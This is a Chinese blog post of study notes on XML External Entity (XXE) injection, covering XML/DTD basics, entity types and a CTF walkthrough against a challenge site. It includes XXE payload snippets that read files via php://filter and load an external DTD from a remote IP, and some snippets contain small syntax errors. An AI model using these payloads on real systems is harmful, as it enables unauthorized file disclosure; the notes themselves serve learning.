XXE学习笔记


前言

这里主要记录一下这几天学习xxe的内容,以及自己的一些心得体会


以下是本篇文章正文内容

一、XXE概念

XXE全称是XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。

二、基础知识

1.XML

1、特征
✦ XML是可扩展标记语言(EXtensible Markup Language),是一种很像HTML的标记语言。
✦XML被设计用来传输和存储数据,HTML则用来显示数据
✦XML标签没有被预定义,需要自定义标签
✦是W3C的推荐标准

2、XML文档结构
✦XML声明
✦DTD文档类型定义
✦文档元素
基本框架如下:

<!--这是注释-->
<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

2.DTD介绍

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束,也就是说,DTD是用来规范XML文档的格式的。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。

DTD一般认为有两种引用或声明方式:
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
(网上有提到的引用公共DTD其实也算外部引用DTD的一种)

一下是几种实体的格式:
✦内部实体

<!DOCTYPE note [
    <!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->

✦内部参数实体

<!DOCTYPE note> [
    <!ENTITY % b "<!ENTITY b1 "awsl">">
    %b;
]>
<note>&b1</note>
<!-- awsl -->

✦外部实体

<!DOCTYPE note> [
    <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

✦外部参数实体

<!DOCTYPE note> [
    <!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
    %d;
]>
<note>&d1</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

三、XXE漏洞原理及相关题目

1、原理

刚才介绍过,XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是XML外部实体,注意这四个字,外部实体。如果能注入外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。

2、题目

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
xxe 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml 文件。
题目链接http://web.jarvisoj.com:9882/

在这里插入图片描述点击链接没有明显的回应,查看源码没有什么有用的信息,尝试抓包

在这里插入图片描述尝试将将Content-Type: application/json修改为 Content-Type: application/xml 构造XXE,先内部注入,看xml是否能被解析
在这里插入图片描述可以被解析,先尝试外部注入,
在这里插入图片描述

发现可以读取文件,在这里插入图片描述找到flag

这篇文章详细讲了xxe漏洞许多其他方面的应用,这里就不多说了
https://xz.aliyun.com/t/3357#toc-5


总结

总的来说,知识面还是比较狭窄,只是对之前学习的关于xxe的基础知识进行大概的总结,还有许多细节方面没有写完整,对于xxe漏洞复现和实操还没有过多的深入。笔者将会继续学习这方面的知识,争取对xxe有更深的认识
参考文献:https://www.cnblogs.com/20175211lyz/p/11413335.html
https://xz.aliyun.com/t/3357#toc-4
https://xz.aliyun.com/t/3357#toc-24

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值